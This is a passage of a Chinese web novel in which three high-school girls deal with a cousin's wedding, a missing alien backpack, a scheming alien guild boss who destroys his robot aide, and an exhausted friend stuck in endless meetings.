“您好,彭达斯女士,愿意谈谈吗?”
72.围城
昼夜颠倒,优胜劣汰,希望与绝望,知识与逻辑。哀鸣和洗脑不绝于耳,精神和躯体的双重考核,自由和堕落皆在一念之间,如果你认为自己足够坚韧,那么欢迎你来到——classroom。
自从跑操时五班一个身体特别弱的男同学倒头就晕,被身后的人踩了好几脚之后,校领导对于跑操请假的态度就宽厚许多。再加上暑假将至,所有人的胆子都大了不少,每天的跑操时间,教室里总有五六个滚刀肉以各种姿势躲避学生会检查。
逃早操是为了有更多时间复习,所有人三三两两坐在一块儿写题,企图缓冲一下自己的孤独感。颜阎照常没有朋友,戴着蓝牙耳机一个人写英语。写着写着,她猛然撂下笔,把冬天的冲锋衣盖过头顶,趴下就睡。
自从呼叫中心失踪之后,三个人都出现了不同程度的戒断反应。康烁影心疼她那软装,颜阎失去赖床后的快速通道,最倒霉莫过于刘征兰,她要在弟弟的尖叫和拍门里做听力。往常还有个没人的呼叫中心给她躲一躲,现在算是彻底无处可去了。
康烁影撺掇她和她妈吵架。刘征兰说没用,她妈会说小孩子有活力一点很好,她要让着弟弟。颜阎说好典啊,我要把你家拍成竖屏短剧。
弓粟每天借马英妹的手机给她们发一条:暂无新消息,给铃铛的消息更是泥牛入海杳无音讯。只有弃首和律易棋还知道每天发个表情包逗她们两下,弃首甚至还发了一个锁链绕石碑的小挂件送给她们赔罪。
挂件先送到律易棋手里,律易棋喊来她们三个来拿。颜阎和康烁影刚考完数学小考,顶着个空空如也的脑袋瓜飘进杂货店,拿了小挂件就走。
律易棋拦她俩:“刘征兰呢?”
颜阎眼神直愣愣的:“啊?刘征兰……不知道……”
康烁影精气尽散,光彩照人的脸暗成米黄色:“好像是……堂姐结婚……去帮忙做准备了……不用小考……”
律易棋“哇”了一声:“那以她那家庭环境,她不得烦死。”
“谁说不是呢。今晚她肯定要在我们群里抱怨。”
她们没猜错。当天晚上刘征兰给颜阎的私聊连发十几条消息。被数学题难住的颜阎一下子跳起来打开对话框,假装是为了回复朋友才没做出来题。
此地不宜久刘:我真受不了了
此地不宜久刘:我到底为什么要被生下来
此地不宜久刘:你们把我当个屁放了好不好
颜阎哒哒打字:“你是需要安慰一下还是需要我和你一起骂?”
刘征兰发来一个语音,打开是康烁影的声音:“下楼,来小区门口。”
颜阎一愣,不知道是喜是叹。喜是不用写作业还有个名正言顺的理由,叹是不写作业去安慰朋友……说实话,听起来有点玩物丧志。她思考了半天,还是去找妈妈撒娇。
妈妈看都没看她一眼:“去呗。我告诉你哦,后天就期末考试了,你要是考砸了看我怎么收拾你。”
颜阎身子一扭,从妈妈举着手机的臂弯里钻进去蹭她的脸:“妈妈——你别生气嘛——”
妈妈把她的脸推开:“我没生气,你想去就去。”
“你这个语气和动作可不像没生气的样子……”
“我就是警告你一声,你能保证考好吗?”
颜阎可怜兮兮:“不能耶……”
妈妈用膝盖顶她肚子:“那你还好意思去?”
颜阎邪魅一笑,伸出食指和拇指放在下巴旁边:“因为我厚脸皮。”
“滚。”
“那我就当你答应了哦,不许反悔哦。”
“滚滚滚。”妈妈的手机正好充满了电,她拔下插头翻了个身,用后背对着她,“去冰箱里拿百香果饮料给你的小朋友们分一分。”
颜阎大喜过望,扑上去亲了她一口:“最爱你了妈妈!”
妈妈哼了一声:“你的爱都是用嘴说的。”
“我天天逗你开心也很辛苦的好不好!”颜阎迅速把脚塞进自己的陈年一脚蹬鞋里,给妈妈抛了个飞吻,“谢谢世界上最通情达理的妈咪!”
颜阎赶到的时候,康烁影和刘征兰正坐在马路牙子上嗦冰棍,她一伸手:“我的呢?”
康烁影拍开她的手:“自费的。”
颜阎“哦”了一声,把保温杯里的百香果饮料丢给她俩,自己跑去买了四个圈,撸起裤管在她们身边坐下:“咋回事儿?速战速决,我妈很气。”
说来话长。主要背景还是刘征兰的堂姐要结婚了。
这位姐姐和她的关系不算特别好,小时候也发生过抢玩具抢不过就告状的事。但她在高考失利,力排众议上了个民办大学之后,整个人都变得十分有有趣。
她在家里以“大姐姐”自居,把所有弟弟妹妹都当成自己手下的小喽啰。幸而她这个大领导对小喽啰们不错。过年的时候,她就是那个二十七八不结婚不恋爱的亲戚,每年回家她都会带回来一大堆旅游景点的冰箱贴、立体摆件和小零食给大家分。
刘征兰记得她初中毕业那一年的暑假,堂姐带回来一张摩尔曼斯克的明信片,跟她说:“你好好学习,高中要是撑不下去,我就一个飞机送你去看极光。”
最被家里长辈诟病、被小孩子们称颂的一次,她在刘宇衡生日那天,抱着一个电风扇的纸箱走进来,直接递给他。刘宇衡打开箱子往里面一看,是一只蓝膜还没完全褪掉的长毛小白猫。
“你不是想要猫吗?”堂姐撩了一把头发,“给你整来了。”
他欢呼了一声,拎着小猫后颈将它提起来。怕生的小猫在空中张牙舞爪,一口咬在刘宇衡手腕上。
天地良心,那只猫牙都没长齐,就算去咬豆腐,豆腐都只能受个皮外伤。但刘宇衡习惯了众星捧月的人生,他无法忍受任何生物的忤逆,于是他立刻将小猫摔在地上,抬起脚去碾。
堂姐一个飞踹蹬在她胸口,撞翻满桌的菜,然后把小猫塞进怀里,头也不回地走了。
这样的堂姐,帅气的堂姐,头也不回离开家的堂姐,要结婚了。
在结婚前,她已经怀孕。男方也是榕城人,具体信息刘征兰一概不知。布置婚房的时候,大人们将枣、花生、桂圆和瓜子倒满大红的喜被。她们一路摆,刘征兰一路挑,偷偷把瓜子找出来扔进垃圾桶。
新娘不能做这种活,她的伴娘们面色凝重地围着绿桌垫玻璃板的方桌,谁也没有说话。堂姐本人笑容满面地和那些曾经与她大吵一架的亲戚们牵着手说话,即使中途因为孕期反应跑了两趟厕所也笑意不减。
刘征兰的妈妈很为她的高兴。她怀刘征兰的时候很轻松,怀刘宇衡的时候很辛苦,她觉得这代表怀的是个男孩。
堂姐的脸上泛着呕吐过后的潮红,看上去几乎像是羞涩。她的手抚上自己的肚子,拆掉美甲后的痕迹若隐若现:“可能吧。”
她看到站在一边的刘征兰,热情地招呼她。她妈妈说刘征兰不会讲话,堂姐爽朗地笑了笑,说毕竟是我的妹妹。一边说一边剥了个桂圆塞进她嘴里。
“刘征兰,你以后想生个男孩还是女孩?”
刘征兰的手被她捏在掌心里,她死死盯着两个人相牵的手,害怕那双手心里出现一张尖齿獠牙的嘴,把她的胳膊咽下去:“我不结婚。”
“还是要结婚的。”堂姐用过来人的表情,高深莫测地笑了笑,“我以前也不愿意,等你有了小孩你就知道了,期待一个生命降临真是世界上最幸福的事。”
刘征兰想起了弓粟和灵肉,美拉熊毛茸茸的触感从她的脑海里浮现。她的恐惧减轻了很多:“我反对生育,我觉得这很不道德。”
堂姐的眼睛弯成一个括号,将她的神情括起来,里面是对某种情节的暗示。她牵着她的手,伸向自己微鼓的腹部。
刘征兰猛然撤回手。
她借口马上期末考试,飞速剪完了窗花,夺门而出。那颗桂圆一直含在她的腮帮里,她一逃到公交车站就立刻把它吐出来。但那种不甜不淡、橡胶玩具般的软韧口感一直在她嘴里挥之不去,仿佛在咀嚼一颗眼球。以至于她一下车就去买冰棒想冲淡嘴里的触觉。
“我就是
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不理解。她为什么会变成那样……”刘征兰用双手抱着头,“我知道希望别人一成不变挺自私的,但是这种改变有点……太可怕了。她的事我没资格管,但是我还是想知道,她真的幸福吗?她的伴娘为什么那么不高兴?她的对象真的在乎她吗?如果是真的,她的手机为什么一个晚上都没有消息?如果是假的,那她肯定知道,她知道为什么还要……”
颜阎喝了口百香果饮料:“这就是我为什么我天天说不要跟会结婚的人当朋友。”
刘征兰像抓住救命稻草:“你知道原因吗?”
颜阎冷静地嗦冰棍:“不知道。但我知道,你对结婚的人抱有希望是很容易失望的。你只需要试探一次,问问对方愿不愿意在假期跟你出去玩,基本就可以知道这个人以后还能不能做朋友了。”
康烁影撑着下巴,冒出一句很有哲理的话:“会不会因为结婚之后就变成经济共同体啊?”
另外两个人大喜过望:“这个词能从你嘴里说出来,政治没白学!这次期末考试你肯定能行。”
康烁影使劲拱她俩:“就是,婚姻是一种……社会契约?是这个词吗?反正就是有利益捆绑,反而容易走得长远。”
颜阎挥舞四个圈,巧克力酱飞旋,另外两人不自觉往旁边挪了挪:“但这也不能解释为什么婚前一个样子婚后一个样子。她背后又没有一个理型人在印缺胳膊少腿的姜饼人。”
“……什么?”
“对不起,我换个说法。身份的转换很难造成立场的转换。往往是想法变了,身份才变了。要是一直觉得:我死也不结婚,那谁也没办法。往往是自己松口了,才会去结婚的。”
三个未婚未育未成年女性坐在马路牙子上,深深叹了口气。
颜阎给她们比划了一个美好的场景:“说到底,你们真的见过结婚幸福的吗?不称之为嫁娶,仅仅是结婚。没有恶心的司仪,没有婚礼ppt,没有烦人的亲戚,女方家长不流泪,而是为了幸福大笑的那种。”
另外两个人冷笑:“科幻片。”“比外星人降临地球还科幻。”
刘征兰把冰棍的木棒扔进包装袋里:“搞不懂。”
颜阎转头看康烁影:“我们中唯一的异性恋怎么说?”
康烁影举起双手:“我不会结婚的哦。但我会谈对象。”
“我知道。以前我都是不和谈恋爱的玩因为你才对女异性恋燃起了一丝希望,退到不和结婚的玩了。”
刘征兰顺便问了一句:“对,你不还网恋呢吗?你的赛博男友对结婚怎么看?”
康烁影陡然扭捏起来:“哎呀,说到这个……其实我……”
两个人特别紧张:“其实你……”
康烁影更加不好意思:“我……有点……不想跟赛博男友谈了,新鲜劲儿过去了,感觉他太黏人了。所以我最近谈了个新的。”
两人松了口气:“你可以一次性谈两个,但不可以和同一个人谈两次。”
“主要是这段时间呼叫中心丢了,前面那位还天天问我怎么心情不好,我不想回他,总不能直接告诉他吧。最后他也烦我也烦,我就把他淡了。”
“往好处想。”颜阎把最后一层巧克力咬下来,“指不定他是一个知道空想文明的外星人呢。”
唠到这里,冰棍也差不多吃完了,三个人拍拍屁股准备分道扬镳。
她们一站起来,脚边“扑通”一声,一个女人摔在她们身前。康烁影跳上人行道,高呼“碰瓷”。
女人一把抓住康烁影的裤脚,整个人气若游丝:“空想文明……”
“你们是不是提到了空想文明……”
颜阎苦着脸,在心里发誓再也不多嘴了:“是……是?”
女人的眼球几乎无法聚焦,她用颤抖的声音问:“颜阎……康烁影……刘征兰……?”
大家怕她死了,忙不迭地点头:“对对对。”
女人长叹一口气。她的眼神彻底失去焦距,手臂从空中滑落,重重落在地上:“对不起……是我拿走了你们的……东西……”
73.三宝磨
本来想蹲下去扶她的颜阎一把撤回手:“那你自生自灭去吧。”
康烁影甚至想踹她一脚,幸好刘征兰拦住她俩。现在铃铛装乌龟装到底,打死不回消息,其他人都没有线索,这家伙说不定是个突破口。
她们给律易棋发了个消息,齐心协力、鬼鬼祟祟地把女人搬回杂货店。律易棋说她没能源了,简单来说就是没电了,等他塞点氦3。
原来是智械,也许真的是她偷了呼叫中心。
星际文明的能量利用率超高,充电五分钟续航两百年。智械一下子从机床上翻下来,被四个人联手按回去。
“说说吧,你偷我们东西干什么?”颜阎在前线施压,刘征兰和康烁影在后面磨刀霍霍,“我们既然敢拿着这种东西,你也知道我们不是普通的高中生。”
智械苦笑起来:“不用这么对我说话,关于你们的一切我都知道。”
颜阎并不害怕她。她的话里有一些虚张声势的成分,因为她全程都在看着律易棋,应该是有些意外这个人的出现。说明至少律易棋的事没有暴露。
“我们的东西长什么样,描述一下。”
智械对答如流:“深绿色,书包外形。里面有一个小空间。”
全对!
“把绿书包还给我们。”刘征兰心情正不好着,“不然我们就杀了你。”
“不在我手里。”智械轻声说,“已经被人拿走了。”
律易棋拖住想冲上来掐她的脖子的康烁影。康烁影双脚乱踢,企图挣脱他的桎梏:“谁拿的!”
“沙拉曼达。”
颜阎乐了:“西幻片场!”
沙拉曼达是西方炼金术传统里火精灵的名字,经过一系列衍生,这个形象逐渐与火蜥蜴、火龙等绑定。杂学家颜阎一听就笑出了声:“容我猜猜,你不会叫诺姆吧?”
智械侧过头看着她,虚弱地笑了笑:“你很博学。但我不是诺姆,我叫艾玛。”
康烁影总觉得这个名字很熟悉,她偷偷拍了张她的照片,背过身偷偷识图搜索。搜到了一个在网上小有名气的女企业家。她靠风投起家,后来转去短剧行业,前段时间因为反古偶剧套路的视频小火了一把。
照片上的人和这个智械长得也很像,都是浓眉厚唇深口红小丝巾,打扮得很符合乡镇女企业家的刻板印象。就是长相有明显的欧美特征,一看就是在乡村企业里会被排挤的人。
她把搜索结果给其他人看。几个人对了又对,确定是她本人。
“你这么成功干嘛还要干这种偷鸡摸狗的事?”康烁影世界观的地基有点不稳了,“传说风投成功不就可以原地退休了吗?”
“因为我是智械。”智械轻声说道,“我是移民,在地球的生活处处受限,很多和星际接轨的物品必须通过炼金商会购买。而沙拉曼达是商会的四大主事之一。”
康烁影冲上去晃她:“钱呐!你有钱呐!你不能交涉吗!就算不能交涉,移民管理局不管吗?你找铃铛,她最心软了!”
智械用一种古怪的表情面对着她。似乎有点感动,但也有点好笑。
律易棋把她拉回来,锁上仓库的门,和另外三个人一起钻进飞箱的光幕里。
他事先声明自己不懂爬行文明,但是根据他接受基础教育时的知识来看,这种垄断在爬行文明的移民里是存在的。虽然广为人知,但是没什么人在乎爬行文明,更何况是主动搬到爬行文明去住的移民。就算有人想推进反垄断,也没什么办法。
他总结说:“因为你们爬行文明,实在没什么招人惦记的地方。”
他使用了大量人文社科专有词汇。什么生产、经济、金融链、债券,还有一些地球的经济学没有探索到的领域,在场没有一个人能听懂。
律易棋认识到错误,终于决定用简单的语言总结这一切:“这么说吧,我们先说货币。假如你们在……呃……古代有什么能频繁外交的时期?”
“大航海时期。”颜阎提示。
“……也行。大航海时期,现在要和太平洋上一个全是原始人的小岛建交。你们想要他们的植物,他们想要你们的衣服。但你们是文明人,不能用掠夺的方式拿走他们的物资。这个时候,你发现,原始人们已经发展出贝壳货币。可是你们两边没有经济往来,他们的贝壳在你的国家没有任何价值,你拿出贝壳交易,谁都要把你扔出去。你们的纸钞对于他们来说也没法用,这个时候要怎么办?”
康烁影抢答:“以物换物!”
律易棋打了个响指:“正确。可是如果换一个场景。你们现在跟一个太平洋小岛建交,他们没有任何你们需要的东西,可是他们迫切地想要你们的新鲜玩意儿,这个时候还怎么交换?”
那就没法交换了。除非来到小岛上的外乡人心肠特别好,再或者那人高兴了就从衣服上剪块布下来,让原始人们高兴一下。
律易棋说,大部分爬行文明和星际文明的交易就是这样的。爬行文明那点资源对于外星生物来说压根不够看。而且爬行文明和星际没有经济往来,压根没有汇率可言。只要有途径的外星生物在两边建立一个小型商会,方便移民和星际的货物流通,形成垄断是难以避免的。再加上星际文明对爬行文明抱着一种“我不侵略你就不错了”的轻视,几乎没人在意爬行文明这边的垄断。
所以,只要艾玛想兑换星际文明的产品,就必须受制于沙拉曼达。
这个时候,聪明的刘征兰女士就要问了:“她不兑换不行吗?”
“你穿越到古代,不玩手机可以吗?”律易棋如是回答。
刘征兰明白了。
这么一来,智械跑来的原因也很简单了。它帮助炼金商会为非作歹沦为黑手套,即便如此它然没有钱买能源。最后沦落到找女高中生求助了。
按理来说,移民偷窃这种事的确是该归铃铛管的。再不济刻石人也该管一管。但是吧,姐们儿最近真是一点消息都没有,发给她的信息全部石沉大海。大家不约而同有了一个可怕的猜测。
“铃铛不会被做掉了吧……”
要是铃铛被人做掉了,这件事就不可避免地滑向了生死□□那边。律易棋很熟悉这个片场,他跃跃欲试地问:“走吗?去找铃铛。”
“不。”刘征兰抬起无神的眼睛,“我们要回去上课。”
律易棋大为震撼:“这个情况了,你们还想着上课?学校到底有什么魔力,被洗脑了吧?”
颜阎微微一笑:“你的意思是,我们要在半夜……九点半了,咱们快点结束……九点半,驱车一个半小时去须州省里找铃铛,很可能经过潜行、枪战、感化等情节,在早上六点四十五回到学校,迎接后天的期末考试吗?我们当然可以这么做,但是你愿意替我们面对家长的质问吗?”
显然是不能的。于是打破垄断拯救外星移民和关系户朋友的计划因为期末考试而推迟。三个人打道回府复习去。
艾玛还没有去处,律易棋说仓库有太多会被外星生物认出来的东西,没法收留它。于是大家一合计,把它扔在货架旁边自己玩自己的脑子。白天还能当个店员使。
三个人滚回学海沉浮,一冒头就期末了。学校老师拿出二模的架势,拍着胸脯保证这次的题又精又好。
颜阎拿到语文卷子,第一时间看作文,这样在写其他题的发呆时间里还能构思构思。第二时间看记叙文,视线一落下她就笑了:哟,这不高一考过的原题吗。合着老师都怕担责任完全不出新题。
事实是,她这人不长记性。出新题怪题她倒有可能另辟蹊径得个分,旧题她是看了就忘,更何况一点新鲜感都没有。整场考试她都写得飞快,没有细品一个字,提前二十分钟交了卷子。不过后面还有一场数学,提前交卷也没有意义。
数学更烦人,最后一道题照旧是数列。一二问解出来了,第三问勉强写个解。说实话,颜阎挺喜欢考试时的感觉,仿佛她从脑海里常年有一条深邃的小缝,考试时精神就会化作一根小针钻进那里。没有什么目的,只是一心一意地钻。那种专注甚至会让她感到一丝快乐。她觉得要是没有公布成绩的环节,她一定会很喜欢考试。
两门都考完后,下午两点还有英语和物理的混合双打。颜阎紧急吃完午饭,立刻打开物理笔记本,试图捧起里面的知识塞进自己脑袋里。
没塞一会儿,手机来了消息。
此地不宜久刘:快。
此地不宜久刘:宋蕊说看到沙拉曼达了。
颜阎立刻背上小挎包,跟妈妈打招呼:“妈,我去教室复习。家里太容易困了!”
妈妈非常信任她,一点也没有怀疑。颜阎心中浮起愧疚,一边痛骂外星生物的可恨,一边直奔后路。
石桥是后路的一道“风景线”,本身和其他沥青路面没有差别,只是它下面有一条气味刺鼻的小河。最近经济不好,连带着环境治理好起来了,河里已经没有土生土长的垃圾袋,只有仰泳的鱼和水华现象下绿得发黑的藻类。
石桥上面站着宋蕊,折射影像塑造的脸庞冷汗直冒。她和她们的视线一对上,立刻小跑过来,死死抓住康烁影的胳膊。
“在桥下面……”她面色惨白,“沙拉曼达……在桥下面……”
从石桥栏杆上翻过去,一点点滑下常年无人修理、芦苇长过头顶的陡峭河堤。桥墩旁边立着一个和环境格格不入的成年男人。
皮鞋皮腰带,蓝白衬衫行政夹克,戴眼镜拿保温杯……
颜阎乐了:“入乡随俗啊这领导。”
领导脚边躺着另一个人,刘征兰眯起眼睛看过去,两人目光相接的一刹那,她愣住了。
律易棋肌肉僵硬动弹不得,无需捆绳就原地被俘。面对刘征兰不可思议的眼光,他用眨眼频率当摩斯电码:我真不是战斗人员,我就是个维修工。
三人专注于辨认他的眼神,甚至没注意身后的动静。宋蕊从空中漂亮地降落在她们身后,撞开刘征兰的肩膀,径直走向对面的男领导。
男领导微微一笑,对艾玛赞许地点头:“很不错,温蒂妮。”
艾玛低眉顺目上去跟他握手:“您领导得好。”它回头面对几个高中生,语气高高挑起,声音掐得尖细而谄媚,“呀,这不是大发善心的爬行文明土著吗?让我看看你们藏了个什么人……逃犯?天呐!你们不会真的把自己当犯罪电影的女主角了吧?”
女主角康烁影跺脚:“你们明抢平民百姓的书包就对了?你们不会真的把自己当成高干文主角了吧!”
沙拉曼达双手背在身后,露出慈祥的微笑,他腰间的钥匙发出好听的碰撞声:“孩子们,有一件事情你们可能不了解。一定是这个逃犯蒙骗你们。其实啊,捡到了别人的东西是要上交的。你们想一想,在地上捡到了古董,你们也没有它的所有权,对不对?更何况空想文明是很危险的东西,让你们拿着,我们大人也不放心啊。”
三个人震撼地交换眼神:天呐,好有道理!居然涉及到公有制的问题了!这回还真没什么可反驳的!
颜阎顶上去面不改色地撒谎:“这个书包一直都是我们的,我们在商场购买后才
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发现它有这种功能,不是捡来的。”
沙拉曼达笑了笑:“收据。”
“……什么?”
“收据,在哪个店买的,什么时间,都告诉我们吧,我们自会替你查明。”
颜阎硬着头皮继续编:“两年前的六月三十日,晨光文具店。收据早扔了。”
艾玛——或者说是温蒂妮,大笑着卷自己的头发玩:“好的好的我们知道了。我们回去调查,这段时间暂时把你们的书包羁押,终审再决定能不能拿回去。”
……可恶啊,真是无懈可击的公权力!要是不追究,他们也会拿一面锦旗和五百块钱来糊弄她们。要是追究,她们毫不怀疑沙拉曼达会把他们抓走关看守所。
温蒂妮缓缓踱到她们面前,笑着俯身,用小拇指戳康烁影的肩膀:“至于这位逃犯,相信你们一定不知情吧?一定是以为他是个普通的工程师对不对?那就好,我们把小店查封后,会来找你们录证词的。”她伸手掐了一把康烁影的脸,红色的指甲像一枚花瓣,“小妹妹,好好上学吧。”
康烁影无法看那张近在咫尺的脸,如果长时间盯着,她怕自己控制不住自己的拳头,于是视线只能落在它胸前的丝巾上。她感觉牙根发痒,颧骨的存在感从未如此清晰。面对这种难以反抗的权力,她几乎想张开嘴咬掉她的手指。
可是她不能,她要期末考试。
温蒂妮见她毫不反抗,显得有点无趣,它抬起手准备拍拍康烁影脑袋。旁边颜阎终于忍无可忍,猛地冲上去将它推开。
只是这一推,温蒂妮嘴角浮现出一个心满意足的笑容。
它的丝巾滑落,露出下面裸露的黑色摄像头。摄像头比指甲盖还小,屏幕已经有明显的碎裂,里面还嵌着石子和一些污垢。
“哎呀!”它低下头,“摄像头坏了。你们这算是……袭击外星生物吗?”
颜阎哭丧着脸:“胡说八道!你明明是自己在路边摔的!我们当时在旁边嗦冰棍!四个圈的奶油还在上面呢!”
温蒂妮假装听不见。它转向沙拉曼达,挑眉张口手捂嘴,表情惊讶地很做作:“领导,您看怎么办?”
沙拉曼达宽容地挥挥手:“唉,小孩子,从轻发落吧。”
三个人的表情就好像第一次知道世界上有邪恶——虽然不是第一次,但是首次直面,还是感觉非常恐怖。
此事的严重度已经明显超越了期末考试,众人严阵以待准备与之抗争到最后一刻,没想到沙拉曼达转头就走。
温蒂妮也没想到:“……您为什么?”
“走吧。”沙拉曼达拉起行政夹克的拉链,“没有逮捕证。”
颜阎:“这时候倒是知道遵纪守法了!”
沙拉曼达高深莫测:“程序正义,孩子。”
他摘下自己鼻梁上的眼镜,呵了口气,从上衣口袋里掏出薄荷绿的眼镜布擦了擦:“温蒂妮,你跟着我几年了?”
温蒂妮如抽刀般抽出一个小喷壶,他接过去喷了三下,再次用眼镜布擦拭:“五年了。”
“真好。”他把眼镜架回去,用食指把它推到一个和面部贴合的角度,“也帮我做了很多事,对不对?”
“应该的!都是为了商会的繁荣。”
沙拉曼达深深叹了口气,巴掌在它肩上拍了两下:“这些年委屈你了。下一步,你的经营范围……”
温蒂妮难掩喜色,腰身不由己地弯下去。
“全部没收。”
谁都没有反应过来。一双手搭在它的脖子上,脖颈像掐断的花茎歪斜,一颗头颅从身前翻到身后,倒挂着晃晃摇摇,失去瞳孔的全白眼睛盯着康烁影的方向,而后猝然倒地。
无头尸体几乎从膝盖处对折,沉重的上半身浸在水中,暴露在外的那一部分也由着重力向水下沉没,仿佛自己的灵魂拖拽自己的肢体。先是腹部,然后是大腿,最后是双脚,直到它整个身体消失在水中。
“真可惜。”沙拉曼达早已拖着律易棋登上陡峭的河堤,不紧不慢地停在路边一辆商务得不得了的黑色红旗旁,“我的左膀右臂温蒂妮被爬行文明土著袭击,生死不明。太令人遗憾了。”
刘征兰盯着平静无波的水面,沉默许久,突然开口:“沙拉曼达?”
沙拉曼达停下脚步,和蔼地看着她:“是,怎么了?”
刘征兰举起右手,把五根指头里最中间的那根竖起来,骂出了这辈子最脏的一句脏话:“□□□□□□。”
她一头扎进水华现象严重的河道里,奋力打捞温蒂妮仅存的身体。
沙拉曼达仍保持着体面的微笑,对刘征兰的痛骂充耳不闻:“哦?你去救它了?真是个好人。”然后坐进主驾驶位扬长而去。
康烁影不知所措,只能先跑去捡起温蒂妮断掉的脑袋和脖子。折射影像失效后的断肢没有血,那只是个巨大的蓝色密闭球体,上面有几个窗孔。脖子则是一段黑色合金管道。颜阎站在河边等刘征兰,她一冒出头,两个人就合力把温蒂妮的残躯拖上岸。
刘征兰满头满脸都是绿色的藻类。康烁影和颜阎忍着臭烘烘的气味,用指甲尖掐住绿色植物扔在地上。康烁影说这黑吃黑的大好事你救它干啥呀。颜阎说你别问了她就是那种人,你问了她还内耗。
刘征兰指着温蒂尼的“头”,试图转移话题:“这是积分球,物理实验道具,测试光学的。”
另外两个人没理她,只是伸手拍了拍她的后背。三个人沉默地在路边坐了一会儿,康烁影试探性地问:“那我们是逃命,还是去期末考试啊?”
74.古法炼金
半夜十二点,铃铛被人拍醒。巴莫魁的投影告诉她,沙拉曼达有事要开会。她想从浴缸里捞出一件看得过去的衣服,或者把一瓶雪碧从步入式冰箱里拿出来,但沙拉曼达很快出现在门口,告诉她十万火急。
铃铛走出自己的单人豪华员工宿舍,穿着睡裙披着头发打着赤脚,幽灵般飘进会议室。
沙拉曼达让她坐在主位,打开全包悬浮显示板,开始播放ppt。
铃铛迷茫地问他:“开什么会?”
沙拉曼达坐在离她最近的座位之一上,平时总在那里盘着的薮猫员工枯藤在下面拿他的皮鞋磨爪子:“你是总负责人,应该由你决定。”
铃铛更迷茫了:“不是你说开会吗?”
沙拉曼达故作惊讶:“可你是总负责人呀?”
一番令人难过的沉默后,沙拉曼达理了理桌子上的材料:“既然您没有什么想说的,那我就要说了。这次会议的主题是:公共区域管理和采购规划。”
他环顾四周:“大家有什么想说的吗?”
铃铛说:“散会算吗?”
“不,这样太草率了。我们必须严格遵守步骤。”沙拉曼达又开始整理他的材料,“这样吧,我先起个头。”
没人鼓掌。他有点不习惯,只能自顾自地清嗓子。
还是没人鼓掌。刺猬员工从椅子上滑落,把华南虎门卫扎得翻了个身。
“尊敬的同事们,今天,我们就公共区域管理和采购规划的问题齐聚一堂,希望大家打起精神,共同解决我们办事处公共区域管理和采购规划问题……”
一只羊,两只猫,三只兔子,四只锯爪蜉蝣,五只伪蟹……
地面越来越近,连地上的一根头发都清晰可见。桌子下面的场景不知为何浮现在眼前:以布躺在桌子底下一身灰尘地睡觉。人类员工假装捡笔实则小睡十秒钟。美拉熊压根没来。巴莫魁不知道什么时候消失了。
“为此,我们必须统一思想,在降低预算的同时提高质量,争取买到最好的彩灯……”
“等一下。”铃铛从地上爬起来,“你要干什么?”
沙拉曼达不满她打断了自己。他扯了扯本就很整齐的领带,语气仍旧很得体:“在大门口安led灯串。”
铃铛把拳头当法槌敲桌:“散会!”
凌晨一点,铃铛被人拍起来,巴莫魁说:“开会。”
铃铛甚至没睡熟,她死也不愿意从空调房里出去:“不是开过了吗?”
巴莫魁恭顺地说:“他说刚才是讨论会,下面是总结会。”
“为什么要凌晨开?”
巴莫魁想了想:“可能他有这个爱好?”
沙拉曼达在会议上简单总结了驻爬行文明银河系分部太阳系支队地球小组须州办事处(玛丽基金会属)目前的情况,改善结构弊病的SOP,跟进落实思想统一攻坚克难众志成城,然后终放大家回去睡觉。临走前还抛下一句会议记录一会儿发来。
铃铛再次回到宿舍,忐忑地等待着第三只靴子落地。果不其然,凌晨两点,巴莫魁又来了。时至今日,连她都发现了不对劲的地方,两人对视一眼,一切尽在不言中。
会议结束后,很多灵肉已经把窝拖到会议室里。铃铛抱着侥幸心理回到宿舍倒头就睡,并在凌晨三点再度被拍醒。
“有完没完啊!”她一跃而起,“我死也不开会了!”
巴莫魁犹豫不决,似乎不知道是否把这个消息告诉她:“这次不是开会,铃铛。有几人在基金会门口要见您。”
“谁啊?”铃铛问。
“盐盐,刘什么兰,康……”
铃铛一骨碌躺下去:“你让她们进来,随便找个会议室帮我开会吧。我没空接待,我要睡觉。”
然而她们不会这么善罢甘休,三个人带着一个积分球和半截身子,张牙舞爪闯进铃铛房间。把她连着被子从床上拖下来:“你是死人吗!我们以为你死了!没死怎么不回消息!”
被子里没有人形,只有一团小小的球体。康烁影担忧地掀开被子。只见铃铛的脑袋向一边歪斜,身体蜷缩,在对睡眠无尽的渴望里,她的口中呢喃梦语:“我在开会……”
“开会?你一天有几个会啊!”
“从早……到晚……从生……到死……”
她们不管,治犯困,高中生最有办法。三人先后祭出风油精、清凉油、薄荷棒、咖啡粉、老师的离婚八卦,终于把铃铛从睡梦中唤醒,代价是肝的不可逆损伤。
“你为什么不回消息?那人怎么敢大摇大摆进玛丽基金会?律易棋呢?”三个人有无数的问题,而铃铛迟钝的大脑不太能反应过来。她的脑袋一点一点,过了许久才处理完所有信息。
她撑着床头爬起来,无意识地往嘴里塞了一颗荷氏。用一种缓慢且忧郁的语调说:“嗯……我一个个说。你也知道,都是外星组织,不可能没有交集的。他进门,告诉我们两边的组织要合作共赢同创辉煌,因此他要在此处与我们就外星生物的法律、经济、文化认同等问题展开讨论。但实际上他只是不停地叫人开会、开会、开会。偶尔还做一些重复性文件。我从早上起床开始开会,听一堆废话,晚上倒头就睡,完全没有时间玩手机。”
她翻了个身,把空调的温度下降到24度,打开抽湿模式,然后呼地把被子盖过头顶:“至于律易棋,我没见到他……我光开会了……哈欠……半夜三点了,让我睡一阵……”
她猛然睁开眼睛。某个违和处在她脑海里闪动,像是一条爬进被窝的蛇。
她从床上跳起来,颤抖的手指指向追悼般围在她床边的三人:“半夜几点?你们怎么来的!”
刘征兰冷笑:“笑话,当然是打顺风车来的。这个点大巴停运了。”
自从在河边目睹肮脏的交易,三个人就到底要不要期末考试展开了激烈讨论。没人想期末考试,也没人想真的翘掉期末考试。大家互相唾弃彼此的懦弱,然后回去期末考试。
下午的考试结束,人均心浮气躁。楼梯口的摸沙字静静释放着淡雅的气味孢子,学生们以为它是老师的安排,老师们以为这是校长的心血来潮,校长以为这是老教师的个人爱好,他作为新上任的校长不愿得罪老人,于是每个人都对这盆花毕恭毕敬。花对人们恩将仇报,不断洗刷着人们的记忆,第一考场的学生们开始掰着手指算三乘以七等于多少。
三位知情人戴着口罩,在众人皆醉我独醒的氛围里咬牙切齿。考试结束后,三人略一合计:不翘期中考试,翘掉睡眠总行吧!
她们迅速把烧烤店里大吃鸡皮串的银芯梅揪出来,让伊用斥力靴、折射影像、这样那样的外星小道具接应她们。
